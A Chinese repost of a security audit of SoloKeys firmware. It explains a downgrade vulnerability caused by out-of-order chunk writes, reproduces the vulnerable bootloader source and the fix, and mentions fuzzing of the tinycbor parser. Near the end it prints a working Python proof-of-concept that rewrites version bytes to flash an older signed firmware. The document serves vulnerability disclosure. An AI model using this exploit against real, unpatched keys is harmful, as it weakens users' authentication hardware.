Doyensec挖掘并报告了 SoloKeys 固件中的3个漏洞,其中两个漏洞是信息泄露的问题,另一个已被定级为严重性较高的漏洞,三个漏洞已在v3.1.0中修复。
漏洞细节参见报告:
https://doyensec.com/resources/Doyensec_SoloKeys_TestingReport_Q12020_v3.pdf
![对安全登录密钥硬件 SoloKeys 固件安全的分析 对安全登录密钥硬件 SoloKeys 固件安全的分析]()
0x01 安全分析
之前我分享了我在基于新的NXP LPC55S69微控制器和用Rust重写的新固件Build的新的Solo型号(有关该固件的博客文章即将发布)。由于我的大部分精力都将花费在新固件上,但也不希望放弃当前基于STM32的固件。我们将继续提供支持修复漏洞,但很可能会引起更广泛社区的关注。
因此,我们认为有必要进行安全性分析。
我们要求Doyensec不仅详细说明他们的漏洞,而且详细说明挖掘过程,以便我们在发布Rust时可以重新验证Rust中的新固件。
![对安全登录密钥硬件 SoloKeys 固件安全的分析 对安全登录密钥硬件 SoloKeys 固件安全的分析]()
0x02 主要发现:降级攻击
漏洞挖掘包括静态源码审计和固件模糊测试,2020年1月21日至1月31日,一位研究人员进行了为期2周的挖掘。
他发现了一种降级攻击,利用这种攻击,可以将固件“上传”为多个无序块,从而能够将其“升级”为以前的旧版本。降级攻击通常非常敏感,因为降级攻击使攻击者可以降级到固件的先前版本,然后利用较早的已知漏洞。
但是,实际上,对Solo密钥进行这种攻击需要对密钥进行物理访问,或者,如果在恶意站点上进行了尝试则需要在WebAuthn窗口上进行明确的用户确认。
这意味着钥匙可以肯定是安全的。此外,我们始终建议使用官方工具升级固件。
另请注意,我们的固件已进行数字签名,这种降级攻击无法绕过我们的签名验证。因此,可能的攻击者只能安装我们之前的发行版中二十个中的一个。
![对安全登录密钥硬件 SoloKeys 固件安全的分析 对安全登录密钥硬件 SoloKeys 固件安全的分析]()
0x03 降级攻击剖析
漏洞代码如下:
https://github.com/solokeys/solo/blob/3.0.1/targets/stm32l432/bootloader/bootloader.c#L201
// Copyright 2019 SoloKeys Developers
//
// Licensed under the Apache License, Version 2.0, or the MIT license , at your option. This file may not be
// copied, modified, or distributed except according to those terms.
#include #include
#include APP_CONFIG
#include "uECC.h"
#include "u2f.h"
#include "device.h"
#include "flash.h"
#include "crypto.h"
#include "led.h"
#include "memory_layout.h"
#include "ctap_errors.h"
#include "log.h"
volatile version_t current_firmware_version __attribute__ ((section (".flag2"))) __attribute__ ((__used__)) = {
.major = SOLO_VERSION_MAJ,
.minor = SOLO_VERSION_MIN,
.patch = SOLO_VERSION_PATCH,
.reserved = 0
};
extern uint8_t REBOOT_FLAG;
typedef enum
{
BootWrite = 0x40,
BootDone = 0x41,
BootCheck = 0x42,
BootErase = 0x43,
BootVersion = 0x44,
BootReboot = 0x45,
BootBootloader = 0x46,
BootDisable = 0x47,
} BootOperation;
typedef struct {
uint8_t op;
uint8_t addr[3];
uint8_t tag[4];
uint8_t lenh;
uint8_t lenl;
uint8_t payload[255 - 10];
} __attribute__((packed)) BootloaderReq;
/**
* Erase all application pages. **APPLICATION_END_PAGE excluded**.
*/
static void erase_application()
{
int page;
for(page = APPLICATION_START_PAGE; page < APPLICATION_END_PAGE; page++)
{
flash_erase_page(page);
}
}
static void disable_bootloader()
{
// Clear last 4 bytes of the last application page-1, which is 108th
uint8_t page[PAGE_SIZE];
memmove(page, (uint8_t*)LAST_ADDR, PAGE_SIZE);
memset(page+PAGE_SIZE -4, 0, 4);
flash_erase_page(LAST_PAGE);
flash_write(LAST_ADDR, page, PAGE_SIZE);
}
static void authorize_application()
{
// Do nothing, if is_authorized_to_boot() returns true, otherwise
// clear first 4 bytes of the last 8 bytes of the page 108.
// uint32_t zero = 0;
// uint32_t * ptr;
// ptr = (uint32_t *)AUTH_WORD_ADDR;
// flash_write((uint32_t)ptr, (uint8_t *)&zero, 4);
uint8_t page[PAGE_SIZE];
if (is_authorized_to_boot())
return;
// FIXME refactor: code same as in disable_bootloader(), except clearing start address (-8)
memmove(page, (uint8_t*)LAST_ADDR, PAGE_SIZE);
memset(page+PAGE_SIZE -8, 0, 4);
flash_erase_page(LAST_PAGE);
flash_write(LAST_ADDR, page, PAGE_SIZE);
}
int is_authorized_to_boot()
{
// return true, if (uint32_t)AUTH_WORD_ADDR is equal 0
// Page -4 -> 124
uint32_t * auth = (uint32_t *)AUTH_WORD_ADDR;
return *auth == 0;
}
int is_bootloader_disabled()
{
// return true, if (uint32_t)AUTH_WORD_ADDR+4 is equal 0
// Page -4 -> 124
uint32_t * auth = (uint32_t *)(AUTH_WORD_ADDR+4);
return *auth == 0;
}
uint8_t * last_written_app_address;
#include "version.h"
bool is_firmware_version_newer_or_equal()
{
printf1(TAG_BOOT,"Current firmware version: %u.%u.%u.%u (%02x.%02x.%02x.%02x)rn",
current_firmware_version.major, current_firmware_version.minor, current_firmware_version.patch, current_firmware_version.reserved,
current_firmware_version.major, current_firmware_version.minor, current_firmware_version.patch, current_firmware_version.reserved
);
volatile version_t * new_version = ((volatile version_t *) last_written_app_address);
printf1(TAG_BOOT,"Uploaded firmware version: %u.%u.%u.%u (%02x.%02x.%02x.%02x)rn",
new_version->major, new_version->minor, new_version->patch, new_version->reserved,
new_version->major, new_version->minor, new_version->patch, new_version->reserved
);
const bool allowed = is_newer((const version_t *)new_version, (const version_t *)¤t_firmware_version) || current_firmware_version.raw == 0xFFFFFFFF;
if (allowed){
printf1(TAG_BOOT, "Update allowed, setting new firmware version as current.rn");
// current_firmware_version.raw = new_version.raw;
uint8_t page[PAGE_SIZE];
memmove(page, (uint8_t*)BOOT_VERSION_ADDR, PAGE_SIZE);
memmove(page, (version_t *)new_version, 4);
printf1(TAG_BOOT, "Writingrn");
flash_erase_page(BOOT_VERSION_PAGE);
flash_write(BOOT_VERSION_ADDR, page, PAGE_SIZE);
printf1(TAG_BOOT, "Finishrn");
} else {
printf1(TAG_BOOT, "Firmware older - update not allowed.rn");
}
return allowed;
}
/**
* Execute bootloader commands
* @param klen key length - length of the bootloader request
* @param keyh key handle - bootloader request, packeted as key handle
* @return
*/
int bootloader_bridge(int klen, uint8_t * keyh)
{
static int has_erased = 0;
BootloaderReq * req = (BootloaderReq * )keyh;
#ifndef SOLO_HACKER
uint8_t hash[32];
#endif
uint8_t version = 1;
uint16_t len = (req->lenh << 8) | (req->lenl);
if (len > klen-10)
{
printf1(TAG_BOOT,"Invalid length %d / %drn", len, klen-9);
return CTAP1_ERR_INVALID_LENGTH;
}
#ifndef SOLO_HACKER
extern uint8_t *pubkey_boot;
const struct uECC_Curve_t * curve = NULL;
#endif
// Translate and enclose the requested address in the MCU flash space, starting from 0x8000000
uint32_t addr = ((*((uint32_t*)req->addr)) & 0xffffff) | 0x8000000;
uint32_t * ptr = (uint32_t *)addr;
switch(req->op){
case BootWrite:
// Write to MCU's flash.
printf1(TAG_BOOT, "BootWrite: %08lxrn",(uint32_t)ptr);
// Validate write range.
if ( (uint32_t)ptr < APPLICATION_START_ADDR
|| (uint32_t)ptr >= APPLICATION_END_ADDR
|| ((uint32_t)ptr+len) > APPLICATION_END_ADDR)
{
printf1(TAG_BOOT,"Bound exceeded [%08lx, %08lx]rn",APPLICATION_START_ADDR,APPLICATION_END_ADDR);
return CTAP2_ERR_NOT_ALLOWED;
}
// Clear all application pages, if not done already.
if (!has_erased || is_authorized_to_boot())
{
erase_application();
has_erased = 1;
}
// Fail, if the validation procedure passes.
if (is_authorized_to_boot())
{
printf2(TAG_ERR, "Error, boot check bypassedn");
exit(1);
}
// Do the actual write
flash_write((uint32_t)ptr,req->payload, len);
last_written_app_address = (uint8_t *)ptr + len - 8 + 4;
break;
case BootDone:
// Writing to flash finished. Request code validation.
printf1(TAG_BOOT, "BootDone: rn");
#ifndef SOLO_HACKER
if (len != 64)
{
printf1(TAG_BOOT,"Invalid length for signaturern");
return CTAP1_ERR_INVALID_LENGTH;
}
dump_hex1(TAG_BOOT, req->payload, 32);
// Hash all code, included in the application pages, SHA256
ptr = (uint32_t *)APPLICATION_START_ADDR;
crypto_sha256_init();
crypto_sha256_update((uint8_t*)ptr, APPLICATION_END_ADDR-APPLICATION_START_ADDR);
crypto_sha256_final(hash);
curve = uECC_secp256r1();
// Verify incoming signature made over the SHA256 hash
if (
!uECC_verify(pubkey_boot, hash, 32, req->payload, curve)
)
{
printf1(TAG_BOOT, "Signature invalidrn");
return CTAP2_ERR_OPERATION_DENIED;
}
if (!is_firmware_version_newer_or_equal()){
printf1(TAG_BOOT, "Firmware older - update not allowed.rn");
printf1(TAG_BOOT, "Rebooting...rn");
REBOOT_FLAG = 1;
return CTAP2_ERR_OPERATION_DENIED;
}
#endif
// Set the application validated, and mark for reboot.
authorize_application();
REBOOT_FLAG = 1;
break;
case BootCheck:
return 0;
break;
case BootErase:
printf1(TAG_BOOT, "BootErase.rn");
erase_application();
return 0;
break;
case BootVersion:
has_erased = 0;
printf1(TAG_BOOT, "BootVersion.rn");
version = SOLO_VERSION_MAJ;
u2f_response_writeback(&version,1);
version = SOLO_VERSION_MIN;
u2f_response_writeback(&version,1);
version = SOLO_VERSION_PATCH;
u2f_response_writeback(&version,1);
break;
case BootReboot:
printf1(TAG_BOOT, "BootReboot.rn");
printf1(TAG_BOOT, "Application authorized: %d.rn", is_authorized_to_boot());
REBOOT_FLAG = 1;
break;
case BootDisable:
// Disable bootloader using a magic bytes as a confirmation phrase.
printf1(TAG_BOOT, "BootDisable %08lx.rn", *(uint32_t *)(AUTH_WORD_ADDR+4));
if (req->payload[0] == 0xcd && req->payload[1] == 0xde
&& req->payload[2] == 0xba && req->payload[3] == 0xaa)
{
disable_bootloader();
version = 0;
u2f_response_writeback(&version,1);
}
else
{
version = CTAP2_ERR_OPERATION_DENIED;
u2f_response_writeback(&version,1);
}
break;
#ifdef SOLO_HACKER
case BootBootloader:
// Boot ST bootloader
printf1(TAG_BOOT, "BootBootloader.rn");
flash_option_bytes_init(1);
boot_st_bootloader();
break;
#endif
default:
return CTAP1_ERR_INVALID_COMMAND;
}
return 0;
}
/**
* Control LEDs while in the bootloader.
*/
void bootloader_heartbeat()
{
static int state = 0;
static uint32_t val = (LED_MAX_SCALER - LED_MIN_SCALER)/2;
uint8_t r = (LED_INIT_VALUE >> 16) & 0xff;
uint8_t g = (LED_INIT_VALUE >> 8) & 0xff;
uint8_t b = (LED_INIT_VALUE >> 0) & 0xff;
if (state)
{
val--;
}
else
{
val++;
}
if (val > LED_MAX_SCALER || val < LED_MIN_SCALER)
{
state = !state;
}
led_rgb(((val * g)<<8) | ((val*r) << 16) | (val*b));
}
uint32_t ctap_atomic_count(uint32_t amount)
{
static uint32_t count = 1000;
count += (amount + 1);
return count;
}
diff补丁代码如下:
https://github.com/solokeys/solo/pull/368/files#diff-f7cab51b94eff98a0aff021c872244b4R203
targets/stm32l432/bootloader/bootloader.c
@@ -50,12 +50,15 @@ typedef struct {
uint8_t payload[255 - 10];
} __attribute__((packed)) BootloaderReq;
uint8_t * last_written_app_address;
/**
* Erase all application pages. **APPLICATION_END_PAGE excluded**.
*/
static void erase_application()
{
int page;
last_written_app_address = (uint8_t*) APPLICATION_START_ADDR;
for(page = APPLICATION_START_PAGE; page < APPLICATION_END_PAGE; page++)
{
flash_erase_page(page);
@@ -106,7 +109,6 @@ int is_bootloader_disabled()
uint32_t * auth = (uint32_t *)(AUTH_WORD_ADDR+4);
return *auth == 0;
}
uint8_t * last_written_app_address;
#include "version.h"
bool is_firmware_version_newer_or_equal()
@@ -116,7 +118,7 @@ bool is_firmware_version_newer_or_equal()
current_firmware_version.major, current_firmware_version.minor, current_firmware_version.patch, current_firmware_version.reserved,
current_firmware_version.major, current_firmware_version.minor, current_firmware_version.patch, current_firmware_version.reserved
);
volatile version_t * new_version = ((volatile version_t *) last_written_app_address);
volatile version_t * new_version = ((volatile version_t *) (last_written_app_address-8+4));
printf1(TAG_BOOT,"Uploaded firmware version: %u.%u.%u.%u (%02x.%02x.%02x.%02x)rn",
new_version->major, new_version->minor, new_version->patch, new_version->reserved,
new_version->major, new_version->minor, new_version->patch, new_version->reserved
@@ -170,6 +172,7 @@ int bootloader_bridge(int klen, uint8_t * keyh)
uint32_t addr = ((*((uint32_t*)req->addr)) & 0xffffff) | 0x8000000;
uint32_t * ptr = (uint32_t *)addr;
uint32_t current_address;
switch(req->op){
case BootWrite:
@@ -196,9 +199,16 @@ int bootloader_bridge(int klen, uint8_t * keyh)
printf2(TAG_ERR, "Error, boot check bypassedn");
exit(1);
}
current_address = addr + len;
if (current_address < (uint32_t) last_written_app_address) {
printf2(TAG_ERR, "Error, only ascending writes allowed.n");
has_erased = 0;
return CTAP2_ERR_NOT_ALLOWED;
}
last_written_app_address = (uint8_t*) current_address;
// Do the actual write
flash_write((uint32_t)ptr,req->payload, len);
last_written_app_address = (uint8_t *)ptr + len - 8 + 4;
break;
case BootDone:
// Writing to flash finished. Request code validation.
固件更新是一个二进制blob,其中最后4个字节表示版本。当安装新固件时,将检查这些字节以确保其版本大于当前安装的版本。固件数字签名也已通过验证,但这无关紧要,因为此攻击仅允许安装较早的签名版本。
新固件将成块写入密钥。每次写入时,指向最后写入地址的指针都会更新,因此最终它将指向固件末尾的新版本。可能会看到问题:我们假设块仅被写入一次且按顺序进行,但是没有强制执行。该补丁通过要求严格按升序写入块来解决此问题。
例如,运行v3.0.1,并选择旧固件:例如v3.0.0。搜索其中的四个字节,当被解释为版本号时,看起来大于v3.0.1。首先,将整个3.0.0固件发送到密钥。现在,last_writer_app_address指针正确指向固件的末尾,编码版本为3.0.0。
然后,再次将四个选定的字节写入其原始位置。现在,last_write_app_address指向固件中间的某个位置,并且这4个字节被解释为“随机”版本。原来固件v3.0.0包含一些可以解释为v3.0.37的字节。
如下有一个完整地PoC:
https://github.com/doyensec/SoloKeys-2020Q1-fw-downgrade-PoC
from intelhex import IntelHex
import json
import base64
from solo import helpers
import solo.client
import io
from tqdm import tqdm
FW_FILE = "../firmware-3.0.0.json"
with open(FW_FILE) as f:
data = json.load(f)
fw = base64.b64decode(helpers.from_websafe(data["firmware"]).encode()).decode("utf-8")
fw_file = io.StringIO(fw)
ih = IntelHex(fw_file)
sig = base64.b64decode(helpers.from_websafe(data["versions"][">2.5.3"]["signature"]).encode())
client = solo.client.find()
client.use_hid()
if not client.is_solo_bootloader():
print("[!] Please put the SoloKey in bootloader mode")
exit(1)
# desired_version = b"x03x00x00x00" # make the bootloader believe we're flashing 3.0.0.0
# desired_version = b"x03x00x00x02" # make the bootloader believe we're flashing 3.0.0.2
desired_version = b"x03x00x25x00" # make the bootloader believe we're flashing 3.0.37.0
version_offset = ih.tobinstr().find(desired_version)
correct_version_offset = ih.tobinstr().rfind(b"x03x00x00x00")
if version_offset == -1:
print("Cannot find version bytes!")
exit(1)
print("[+] Using version bytes at offset 0x{:x} instead of 0x{:x}".format(version_offset, correct_version_offset))
print("[+] Flashing firmware...")
chunk_size = 2048
start_address, end_address = ih.segments()[0]
version_bytes_address = start_address + version_offset
for chunk_start in tqdm(range(start_address, end_address, chunk_size)):
chunk_end = min(chunk_start + chunk_size, end_address)
data = ih.tobinarray(start=chunk_start, size=chunk_end - chunk_start)
client.write_flash(chunk_start, data)
print("n[+] Rewriting version bytes...")
for chunk_start in tqdm(range(version_bytes_address, version_bytes_address + 4, chunk_size)):
chunk_end = min(chunk_start + chunk_size, version_bytes_address + 4)
data = ih.tobinarray(start=chunk_start, size=chunk_end - chunk_start)
client.write_flash(chunk_start, data)
client.verify_flash(sig)
![对安全登录密钥硬件 SoloKeys 固件安全的分析 对安全登录密钥硬件 SoloKeys 固件安全的分析]()
0x04 使用AFL Fuzzing TinyCBOR
研究人员还使用AFL Fuzzing 这些固件。我们的固件依赖于外部库tinycbor来解析CBOR数据。在大约24小时的执行时间内,研究人员对超过1亿个输入的代码进行了测试,发现超过4k个虚假的输入被tinycbor误解并导致我们的固件崩溃。有趣的是,最初的输入是由我们的FIDO2测试框架生成的。
![对安全登录密钥硬件 SoloKeys 固件安全的分析 对安全登录密钥硬件 SoloKeys 固件安全的分析]()
0x05 学习总结
这种固件降级漏洞出现的原因是当上传旧固件时,last_writer_app_address指针会指向固件的末尾,然后再次将四个选定的字节写入其原始位置,last_write_app_address就会指向固件中间的某个位置,并且这4个字节被解释为“随机”版本。
参考及来源:https://blog.doyensec.com/2020/02/19/solokeys-audit.html
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论